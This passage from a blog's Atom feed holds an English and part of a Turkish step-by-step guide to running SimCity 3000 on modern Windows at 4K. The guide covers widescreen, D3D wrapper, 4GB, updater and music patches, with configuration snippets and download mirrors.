&lt;li&gt;&lt;a href="/pelican-statik-site-playwright-test/"&gt;Pelican Statik Sitenizi Playwright ile Test Edin&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Musl libc ile glibc aras&amp;inodot;ndaki mimari farklar, &amp;ouml;zellikle C/C++ ba&amp;gbreve;&amp;inodot;ml&amp;inodot;l&amp;inodot;&amp;gbreve;&amp;inodot; olan Node.js paketlerinin derleme a&amp;scedil;amas&amp;inodot;nda veya &amp;ccedil;al&amp;inodot;&amp;scedil;ma zaman&amp;inodot;nda (runtime) beklenmedik hatalar vermesine yol a&amp;ccedil;abilir.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Sunucu"/><category term="docker"/><category term="nodejs"/><category term="typescript"/><category term="container"/><category term="devops"/><category term="sorun-giderme"/><category term="sunucu"/></entry><entry><title>Playing Old Friend SimCity 3000 on Modern Systems and 4K Resolution</title><link href="https://yuceltoluyag.github.io/en/simcity-3000-4k-modern-sistem-kurulumu/" rel="alternate"/><published>2026-05-29T03:52:00+03:00</published><updated>2026-05-29T03:52:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-29:/en/simcity-3000-4k-modern-sistem-kurulumu/</id><summary type="html">&lt;p&gt;I'm explaining step-by-step how to run the legendary game SimCity 3000 on modern Windows 10 and Windows 11 systems with 4K resolution support, smooth mouse acceleration, and complete music.&lt;/p&gt;</summary><content type="html">&lt;p&gt;To me, SimCity 3000 is the best city-building game ever, my friend. It's a souped-up version of the SimCity 2000 engine, made to be a beast. Those pixel-perfect isometric graphics, that perfect gameplay balance that doesn't overwhelm but also doesn't make you feel like a kid, and of course, that amazing jazz/new-age soundtrack...&lt;/p&gt;
&lt;p&gt;Recently, while rummaging through my archives, I stumbled upon the Scholastic Edition CD I got from a book fair back in elementary school (you know, those fairs held in the gymnasium of our old, demolished elementary school). The CD was dusty but still in one piece. "Screw it," I thought, "why would I shell out money again on GOG or Steam for the same game?" I immediately grabbed my test system, a Windows 10 LTSC rig with a Ryzen 5 3600 and an RX 7600, and popped in the CD. The installation went smoothly, but when I launched the game, I was hit with a reality check from 1999:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Forget widescreen support; we're counting pixels at 800x600 resolution.&lt;/li&gt;
&lt;li&gt;Scrolling around the map causes the game to stutter like crazy, or the mouse speed goes into lightspeed and flies off the screen.&lt;/li&gt;
&lt;li&gt;Those beautiful tunes don't play once the city loads.&lt;/li&gt;
&lt;li&gt;The music doesn't play without the CD, and the tracks that do play are incomplete.&lt;/li&gt;
&lt;li&gt;When scrolling the map, some frames stay as gray boxes for a few seconds before loading.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For the sake of the old days, I rolled up my sleeves. If you, like me, want to play this legend fluently on your modern 4K monitor, here are the steps I'm laying out in the order I tested them.&lt;/p&gt;
&lt;p&gt;&lt;img alt="SimCity 3000 in 4K Resolution" src="/images/simcity-3k-4k.png"/&gt;&lt;/p&gt;
&lt;p&gt;Look at that beauty, my friend. SimCity 3000 shines in 4K resolution! I built skyscrapers directly without even laying down a hospital or fire station; we like to challenge fate.&lt;/p&gt;
&lt;h2 id="escaping-the-cd-hassle-and-blocky-screen-shackles-gog-patch"&gt;Escaping the CD Hassle and Blocky Screen Shackles (GOG Patch)&lt;a class="headerlink" href="#escaping-the-cd-hassle-and-blocky-screen-shackles-gog-patch" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Running the game with the original CD is a thing of the past, my friend. To avoid the insert/eject routine and give the game widescreen capabilities, our first step is to download the patch file prepared by the GOG team.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Files at our fingertips:&lt;/strong&gt; You can download the patch from the &lt;a href="https://support.gog.com/hc/en-us/articles/360018687573-Simcity-3000-Unlimited-widescreen-support?product=gog" rel="noopener noreferrer" target="_blank"&gt;GOG Official Support Page&lt;/a&gt; or directly from this &lt;a href="https://files.catbox.moe/25e7rj.zip" rel="noopener noreferrer" target="_blank"&gt;Alternative Catbox Mirror&lt;/a&gt;. (MD5 for file verification: &lt;code&gt;638eb5b3e7de9ada9b61a1ea40d276a4&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Overwrite the original executable file in your game's installation folder with the one from the downloaded archive. This process eliminates the CD check and opens the door for widescreen resolutions. But a word of caution: increasing the resolution will mess with mouse sensitivity, which we'll fix in the next step.&lt;/p&gt;
&lt;h2 id="taming-the-wild-mouse-mouse-sensitivity-adjustment"&gt;Taming the Wild Mouse (Mouse Sensitivity Adjustment)&lt;a class="headerlink" href="#taming-the-wild-mouse-mouse-sensitivity-adjustment" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When you switch to a higher resolution, the in-game mouse acceleration increases so much that you'll find yourself at the edge of the map when you just wanted to scroll a centimeter. The solution lies in the game's configuration file.&lt;/p&gt;
&lt;p&gt;Navigate to your game's installation directory and find the &lt;code&gt;SC3U.ini&lt;/code&gt; file. Open it with your favorite text editor and update the value under the &lt;code&gt;[Navigation]&lt;/code&gt; heading as follows:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;[Navigation]&lt;/span&gt;
&lt;span class="na"&gt;ScrollMarginFactor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;0.005787&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If you downloaded the game from Steam, this file might not be in the folder&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;. No need to panic; create a new plain text file yourself, name it &lt;code&gt;SC3U.ini&lt;/code&gt;, and paste the lines above into it before saving.&lt;/p&gt;
&lt;h2 id="persuading-the-graphics-card-on-a-4k-monitor-d3d-wrapper-solution"&gt;Persuading the Graphics Card on a 4K Monitor (D3D Wrapper Solution)&lt;a class="headerlink" href="#persuading-the-graphics-card-on-a-4k-monitor-d3d-wrapper-solution" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Since my monitor runs at a native 3840x2160 resolution, the graphics got messed up when I tried to run the game at this resolution. Modern graphics cards (DirectX 11 and above) can't properly interpret these old Direct3D calls. To fix the visual distortion and make the game compatible with your graphics card, we absolutely need to insert a Direct3D wrapper.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Package to download:&lt;/strong&gt; &lt;a href="https://community.pcgamingwiki.com/files/file/3171-simcity-3000-compatibility-fixes-dxwrapper-alternative/" rel="noopener noreferrer" target="_blank"&gt;PC Gaming Wiki&lt;/a&gt; or &lt;a href="https://files.catbox.moe/y7xs3y.zip" rel="noopener noreferrer" target="_blank"&gt;Alternative Catbox Mirror&lt;/a&gt; (MD5: &lt;code&gt;e97d0989cab120608800f2e3395581a7&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Download this package and extract all the files inside to your game's &lt;code&gt;Apps&lt;/code&gt; folder.&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Warning! Don't Let the Windows Taskbar Ruin Your Gaming Experience&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;This wrapper, by default, attempts to launch the game in borderless windowed mode. Consequently, the Windows taskbar pushes the game down, messing up the alignment. To prevent this, open the &lt;code&gt;dxwrapper.ini&lt;/code&gt; file in the &lt;code&gt;Apps&lt;/code&gt; folder and make the following adjustments:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;[d3d9]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;EnableWindowMode&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;[FullScreen]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="na"&gt;FullScreen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This way, the game will start in true fullscreen mode, and you won't have to deal with the taskbar.&lt;/p&gt;
&lt;h2 id="eliminating-gray-gaps-on-the-map-4gb-patch"&gt;Eliminating Gray Gaps on the Map (4GB Patch)&lt;a class="headerlink" href="#eliminating-gray-gaps-on-the-map-4gb-patch" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;It's annoying when some frames on the map first appear as gray/faded boxes and then load a few seconds later, my friend. Since the game is written with a 32-bit architecture, it can't efficiently utilize the massive amounts of RAM in modern systems. We'll apply the 4GB patch to give the game some breathing room.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Get the patch:&lt;/strong&gt; &lt;a href="https://ntcore.com/4gb-patch/" rel="noopener noreferrer" target="_blank"&gt;NTCore 4GB Patch&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Download and run the tool, then select the &lt;code&gt;SC3K.exe&lt;/code&gt; (or &lt;code&gt;SC3U.exe&lt;/code&gt;)&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt; file that we modified and patch it. I haven't scientifically tested this, but I can say it slices through the problem of delayed graphics when quickly scrolling the map like a knife through butter.&lt;/p&gt;
&lt;h2 id="that-endless-waiting-issue-at-startup"&gt;That Endless Waiting Issue at Startup&lt;a class="headerlink" href="#that-endless-waiting-issue-at-startup" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The game freezing for minutes or running extremely slowly when you first launch it is entirely related to EA/Maxis's update servers back then. The game tries to connect to an update server that's now a graveyard, and it waits as it gets no response. To disable this nonsense, we'll use a fake configuration file.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Download the setting:&lt;/strong&gt; &lt;a href="https://community.simtropolis.com/omnibus/other-games/simcity-3000-unlimited-performance-problems-maxis-r329/" rel="noopener noreferrer" target="_blank"&gt;Simtropolis&lt;/a&gt; or &lt;a href="https://files.catbox.moe/cewlvf.zip" rel="noopener noreferrer" target="_blank"&gt;Alternative Catbox Mirror&lt;/a&gt; (MD5: &lt;code&gt;e01ec9e7568560f493ff4cbbebb0e3d4&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Rename the file extracted from the downloaded zip to &lt;code&gt;UpdateSettings.ini&lt;/code&gt;. Then, navigate to the &lt;code&gt;Apps/Updater&lt;/code&gt; directory in your game folder and overwrite the existing file. When you launch the game, you'll see that minutes-long freeze is a thing of the past.&lt;/p&gt;
&lt;h2 id="listening-to-nostalgic-jazz-melodies-without-a-cd"&gt;Listening to Nostalgic Jazz Melodies Without a CD&lt;a class="headerlink" href="#listening-to-nostalgic-jazz-melodies-without-a-cd" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The game just isn't the same without SimCity 3000's incredible music. In the Unlimited version, some music tracks aren't listed in the &lt;code&gt;.ini&lt;/code&gt; file, so even if the files are in the folder, they won't play in the game.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Music List Patch:&lt;/strong&gt; &lt;a href="https://community.pcgamingwiki.com/files/file/2415-simcity-3000-unlimited-re-composed/" rel="noopener noreferrer" target="_blank"&gt;PC Gaming Wiki&lt;/a&gt; or &lt;a href="https://files.catbox.moe/msx1jh.7z" rel="noopener noreferrer" target="_blank"&gt;Alternative Catbox Mirror&lt;/a&gt; (MD5: &lt;code&gt;5877e363565850306131e564e364481c&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Extract this package directly into the game's main directory.&lt;/p&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Tip ⚡ Moving Music Files from CD to HDD&lt;/p&gt;
&lt;p&gt;If you installed the game from a physical CD like I did, the installation wizard won't copy the music to your computer. Go into the &lt;code&gt;APPS/RES/SOUND/MUSIC&lt;/code&gt; folder on the CD and copy all the &lt;code&gt;.xa&lt;/code&gt; files from there to the same folder where your game is installed on your computer. This way, you can enjoy the music without your CD drive making noise.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="what-about-those-using-windows-11"&gt;What About Those Using Windows 11?&lt;a class="headerlink" href="#what-about-those-using-windows-11" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I tested these settings on my Windows 10 LTSC 2021 test computer and got fantastic results. My loyal followers know I don't go near Windows 11 on my home systems. However, based on the feedback I've received, those who have applied these steps on Windows 11 have also started managing their cities without issues. Especially those using ultrawide monitors (like 5120x2160) have managed to run the game in full compatibility even on massive screens with the wrapper's help.&lt;/p&gt;
&lt;p&gt;Now, you owe me a thank you when you're watching the smoking factories of the city you built with your own hands, meticulously calculating its budget.&lt;/p&gt;
&lt;p&gt;Stay well, everyone!&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="other-notes-from-the-lab"&gt;🔗 Other Notes from the Lab&lt;a class="headerlink" href="#other-notes-from-the-lab" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Here are some of my other articles that might come in handy when tinkering with systems and diving deep into games:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/en/linux-space-cadet-pinball-kurulumu/"&gt;A Breath of Nostalgia on Linux: Space Cadet Pinball and Those Secret Mornings&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/forza-horizon-6-fh201-hatasi-cozumu/"&gt;Playing Forza Horizon 6 with the Old RX 480 (FH201 Error Guaranteed Fix)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/lutris-installed-file-impact-ttf-not-found-cozumu/"&gt;Lutris's Stubbornness with impact.ttf and the Fix for That Annoying Return Code 256 Error&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/linux-oyunlara-turkce-yama-kurulumu/"&gt;Installing Turkish Language Patches for Linux Games&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;The &lt;code&gt;SC3U.ini&lt;/code&gt; file might not be present by default in Steam installations. In such cases, it's sufficient to create a new text document in the game's main folder (in the Apps directory), name it &lt;code&gt;SC3U.ini&lt;/code&gt;, and enter these lines into it.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;This 4GB patch, developed by NTCore, allows 32-bit applications to address 4GB of virtual memory instead of 2GB on 64-bit operating systems. This also helps prevent crashes caused by memory overflows.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Oyun"/><category term="simcity 3000"/><category term="retro gaming"/><category term="4k gaming"/><category term="windows 10"/><category term="windows 11"/><category term="d3d wrapper"/><category term="troubleshooting"/><category term="gog"/><category term="nostalgia"/></entry><entry><title>Eski Dost SimCity 3000'i Modern Sistemlerde ve 4K Çözünürlükte Oynatmak</title><link href="https://yuceltoluyag.github.io/simcity-3000-4k-modern-sistem-kurulumu/" rel="alternate"/><published>2026-05-29T03:52:00+03:00</published><updated>2026-05-29T03:52:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-29:/simcity-3000-4k-modern-sistem-kurulumu/</id><summary type="html">&lt;p&gt;Efsane oyun SimCity 3000'i modern Windows 10 ve Windows 11 sistemlerde, 4K çözünürlük desteği, pürüzsüz mouse ivmesi ve eksiksiz müzikleriyle nasıl çalıştıracağımızı adım adım anlatıyorum.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Bana g&amp;ouml;re gelmi&amp;scedil; ge&amp;ccedil;mi&amp;scedil; en iyi &amp;scedil;ehir kurma oyunu SimCity 3000'dir hac&amp;inodot;. SimCity 2000 motorunun makyajlan&amp;inodot;p canavar gibi yap&amp;inodot;lm&amp;inodot;&amp;scedil; bir versiyonudur o. Piksel piksel i&amp;scedil;lenmi&amp;scedil; izometrik &amp;ccedil;izimleri, insan&amp;inodot; bo&amp;gbreve;mayan ama &amp;ccedil;ocuk yerine de koymayan o m&amp;uuml;kemmel oynan&amp;inodot;&amp;scedil; dengesi ve tabii ki o &amp;scedil;ahane caz/new-age tarz&amp;inodot;ndaki m&amp;uuml;zikleri...&lt;/p&gt;
&lt;p&gt;Ge&amp;ccedil;enlerde ar&amp;scedil;ivimi kar&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;rken elime ilkokuldaki kitap fuar&amp;inodot;ndan (hani &amp;scedil;u y&amp;inodot;k&amp;inodot;lan eski ilkokulumuzun spor salonunda kurulan o fuarlar olurdu ya) ald&amp;inodot;&amp;gbreve;&amp;inodot;m Scholastic Edition CD'si ge&amp;ccedil;ti. CD tozlanm&amp;inodot;&amp;scedil; ama sapasa&amp;gbreve;lam duruyor. Ulan dedim, GOG'a ya da Steam'e gidip ayn&amp;inodot; oyuna neden bir daha para bay&amp;inodot;lay&amp;inodot;m? Hemen &amp;ccedil;ektim bizim Ryzen 5 3600'l&amp;uuml;, RX 7600'l&amp;uuml; Windows 10 LTSC test sistemini, takt&amp;inodot;m CD'yi. Kurulum t&amp;inodot;k&amp;inodot;r t&amp;inodot;k&amp;inodot;r bitti ama oyunu a&amp;ccedil;&amp;inodot;nca resmen 1999 y&amp;inodot;l&amp;inodot;ndan kalma bir tokat yedim:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Geni&amp;scedil; ekran (widescreen) deste&amp;gbreve;i hak getire, 800x600 &amp;ccedil;&amp;ouml;z&amp;uuml;n&amp;uuml;rl&amp;uuml;kte piksel say&amp;inodot;yoruz.&lt;/li&gt;
&lt;li&gt;Haritada gezinirken (scrolling) oyun deli gibi kas&amp;inodot;yor ya da fare adeta &amp;inodot;&amp;scedil;&amp;inodot;k h&amp;inodot;z&amp;inodot;na ula&amp;scedil;&amp;inodot;p ekran&amp;inodot;n d&amp;inodot;&amp;scedil;&amp;inodot;na ka&amp;ccedil;&amp;inodot;yor.&lt;/li&gt;
&lt;li&gt;&amp;Scedil;ehir y&amp;uuml;klendikten sonra o can&amp;inodot;m m&amp;uuml;zikler &amp;ccedil;alm&amp;inodot;yor.&lt;/li&gt;
&lt;li&gt;CD olmadan m&amp;uuml;zikler &amp;ccedil;alm&amp;inodot;yor, &amp;ccedil;alanlar da eksik.&lt;/li&gt;
&lt;li&gt;Haritada gezerken de baz&amp;inodot; kareler birka&amp;ccedil; saniye gri kutu olarak kal&amp;inodot;p sonradan y&amp;uuml;kleniyor.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Eski g&amp;uuml;nlerin hat&amp;inodot;r&amp;inodot;na kollar&amp;inodot; s&amp;inodot;vad&amp;inodot;m. E&amp;gbreve;er siz de benim gibi bu efsaneyi modern 4K monit&amp;ouml;r&amp;uuml;n&amp;uuml;zde ak&amp;inodot;c&amp;inodot; bir &amp;scedil;ekilde oynamak istiyorsan&amp;inodot;z, uygulayaca&amp;gbreve;&amp;inodot;n&amp;inodot;z ad&amp;inodot;mlar&amp;inodot; kendi test etti&amp;gbreve;im s&amp;inodot;rayla &amp;scedil;uraya b&amp;inodot;rak&amp;inodot;yorum.&lt;/p&gt;
&lt;p&gt;&lt;img alt="SimCity 3000 4K &amp;Ccedil;&amp;ouml;z&amp;uuml;n&amp;uuml;rl&amp;uuml;kte" src="/images/simcity-3k-4k.png"/&gt;&lt;/p&gt;
&lt;p&gt;G&amp;ouml;r&amp;uuml;n&amp;uuml;&amp;scedil;e baksana hac&amp;inodot;, 4K &amp;ccedil;&amp;ouml;z&amp;uuml;n&amp;uuml;rl&amp;uuml;kte SimCity 3000 adeta parl&amp;inodot;yor! Hastane veya itfaiye kurmadan do&amp;gbreve;rudan g&amp;ouml;kdelen diktim; kadere meydan okumay&amp;inodot; severiz.&lt;/p&gt;
&lt;h2 id="cd-derdinden-ve-kare-ekran-prangalarndan-kurtulmak-gog-yamas"&gt;CD Derdinden ve Kare Ekran Prangalar&amp;inodot;ndan Kurtulmak (GOG Yamas&amp;inodot;)&lt;a class="headerlink" href="#cd-derdinden-ve-kare-ekran-prangalarndan-kurtulmak-gog-yamas" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Orijinal CD ile &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rma devri &amp;ccedil;oktan kapand&amp;inodot; hac&amp;inodot;. Hem CD'yi tak-&amp;ccedil;&amp;inodot;kar yapmamak hem de oyuna geni&amp;scedil; ekran (widescreen) yetene&amp;gbreve;i kazand&amp;inodot;rmak i&amp;ccedil;in ilk i&amp;scedil;imiz GOG ekibinin haz&amp;inodot;rlad&amp;inodot;&amp;gbreve;&amp;inodot; yama dosyas&amp;inodot;n&amp;inodot; &amp;ccedil;ekmek olacak.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Dosyalar elimizin alt&amp;inodot;nda:&lt;/strong&gt; Yamay&amp;inodot; &lt;a href="https://support.gog.com/hc/en-us/articles/360018687573-Simcity-3000-Unlimited-widescreen-support?product=gog" rel="noopener noreferrer" target="_blank"&gt;GOG Resmi Destek Sayfas&amp;inodot;&lt;/a&gt; &amp;uuml;zerinden veya do&amp;gbreve;rudan &lt;a href="https://files.catbox.moe/25e7rj.zip" rel="noopener noreferrer" target="_blank"&gt;Alternatif Catbox Aynas&amp;inodot;&lt;/a&gt; linkinden indirebilirsiniz. (Dosya do&amp;gbreve;rulamas&amp;inodot; i&amp;ccedil;in MD5 kodu: &lt;code&gt;638eb5b3e7de9ada9b61a1ea40d276a4&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;Idot;ndirdi&amp;gbreve;iniz ar&amp;scedil;ivdeki &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;labilir dosyay&amp;inodot; (EXE), oyunun kurulu oldu&amp;gbreve;u klas&amp;ouml;rdeki orijinal dosyan&amp;inodot;n &amp;uuml;zerine yaz&amp;inodot;n. Bu i&amp;scedil;lem hem CD kontrol&amp;uuml;n&amp;uuml; ortadan kald&amp;inodot;r&amp;inodot;yor hem de geni&amp;scedil; ekran &amp;ccedil;&amp;ouml;z&amp;uuml;n&amp;uuml;rl&amp;uuml;klerinin &amp;ouml;n&amp;uuml;n&amp;uuml; a&amp;ccedil;&amp;inodot;yor. Yaln&amp;inodot;z uyaray&amp;inodot;m; &amp;ccedil;&amp;ouml;z&amp;uuml;n&amp;uuml;rl&amp;uuml;&amp;gbreve;&amp;uuml; art&amp;inodot;r&amp;inodot;nca fare hassasiyeti sap&amp;inodot;tacakt&amp;inodot;r, onu da hemen bir alt ad&amp;inodot;mda &amp;ccedil;&amp;ouml;zece&amp;gbreve;iz.&lt;/p&gt;
&lt;h2 id="cldran-fareyi-dizginlemek-mouse-hassasiyeti-ayar"&gt;&amp;Ccedil;&amp;inodot;ld&amp;inodot;ran Fareyi Dizginlemek (Mouse Hassasiyeti Ayar&amp;inodot;)&lt;a class="headerlink" href="#cldran-fareyi-dizginlemek-mouse-hassasiyeti-ayar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Y&amp;uuml;ksek &amp;ccedil;&amp;ouml;z&amp;uuml;n&amp;uuml;rl&amp;uuml;&amp;gbreve;e ge&amp;ccedil;ince oyundaki fare ivmesi (acceleration) o kadar art&amp;inodot;yor ki, haritada iki santim kayd&amp;inodot;rmak isterken kendinizi haritan&amp;inodot;n en ucunda buluyorsunuz. Bunun &amp;ccedil;&amp;ouml;z&amp;uuml;m&amp;uuml; oyunun ayar dosyas&amp;inodot;nda gizli.&lt;/p&gt;
&lt;p&gt;Oyunun kurulu oldu&amp;gbreve;u dizine gidip &lt;code&gt;SC3U.ini&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot; bulun. Dosyay&amp;inodot; favori metin edit&amp;ouml;r&amp;uuml;n&amp;uuml;zle a&amp;ccedil;&amp;inodot;p &lt;code&gt;[Navigation]&lt;/code&gt; ba&amp;scedil;l&amp;inodot;&amp;gbreve;&amp;inodot; alt&amp;inodot;ndaki de&amp;gbreve;eri &amp;scedil;u &amp;scedil;ekilde g&amp;uuml;ncelleyin:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;[Navigation]&lt;/span&gt;
&lt;span class="na"&gt;ScrollMarginFactor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;0.005787&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E&amp;gbreve;er Steam'den indirdiyseniz bu dosya klas&amp;ouml;rde olmayabilir&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;. Tela&amp;scedil;a gerek yok; kendiniz bo&amp;scedil; bir metin dosyas&amp;inodot; olu&amp;scedil;turup ad&amp;inodot;n&amp;inodot; &lt;code&gt;SC3U.ini&lt;/code&gt; yap&amp;inodot;n ve yukar&amp;inodot;daki sat&amp;inodot;rlar&amp;inodot; i&amp;ccedil;ine yap&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;p kaydedin.&lt;/p&gt;
&lt;h2 id="4k-monitorde-ekran-kartn-ikna-etmek-d3d-wrapper-cozumu"&gt;4K Monit&amp;ouml;rde Ekran Kart&amp;inodot;n&amp;inodot; &amp;Idot;kna Etmek (D3D Wrapper &amp;Ccedil;&amp;ouml;z&amp;uuml;m&amp;uuml;)&lt;a class="headerlink" href="#4k-monitorde-ekran-kartn-ikna-etmek-d3d-wrapper-cozumu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Monit&amp;ouml;r&amp;uuml;m native 3840x2160 &amp;ccedil;&amp;ouml;z&amp;uuml;n&amp;uuml;rl&amp;uuml;kte &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;&amp;gbreve;&amp;inodot; i&amp;ccedil;in oyunu bu &amp;ccedil;&amp;ouml;z&amp;uuml;n&amp;uuml;rl&amp;uuml;&amp;gbreve;e &amp;ccedil;ekince grafikler darmada&amp;gbreve;&amp;inodot;n oldu. Modern ekran kartlar&amp;inodot; (DirectX 11 ve &amp;uuml;zeri) bu eski Direct3D kodlar&amp;inodot;n&amp;inodot; d&amp;uuml;zg&amp;uuml;n yorumlayam&amp;inodot;yor. G&amp;ouml;r&amp;uuml;nt&amp;uuml;deki o yamuklu&amp;gbreve;u gidermek ve ekran kart&amp;inodot;yla oyunu bar&amp;inodot;&amp;scedil;t&amp;inodot;rmak i&amp;ccedil;in araya bir Direct3D sarmalay&amp;inodot;c&amp;inodot;s&amp;inodot; (D3D wrapper) sokmam&amp;inodot;z &amp;scedil;art.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&amp;Idot;ndirilecek paket:&lt;/strong&gt; &lt;a href="https://community.pcgamingwiki.com/files/file/3171-simcity-3000-compatibility-fixes-dxwrapper-alternative/" rel="noopener noreferrer" target="_blank"&gt;PC Gaming Wiki&lt;/a&gt; veya &lt;a href="https://files.catbox.moe/y7xs3y.zip" rel="noopener noreferrer" target="_blank"&gt;Alternatif Catbox Aynas&amp;inodot;&lt;/a&gt; (MD5: &lt;code&gt;e97d0989cab120608800f2e3395581a7&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bu paketi indirip i&amp;ccedil;indeki t&amp;uuml;m dosyalar&amp;inodot; oyunun &lt;code&gt;Apps&lt;/code&gt; klas&amp;ouml;r&amp;uuml;ne ay&amp;inodot;klay&amp;inodot;n.&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Dikkat! Windows G&amp;ouml;rev &amp;Ccedil;ubu&amp;gbreve;u Oyun Keyfinizi B&amp;ouml;lmesin&lt;/p&gt;
&lt;/div&gt;
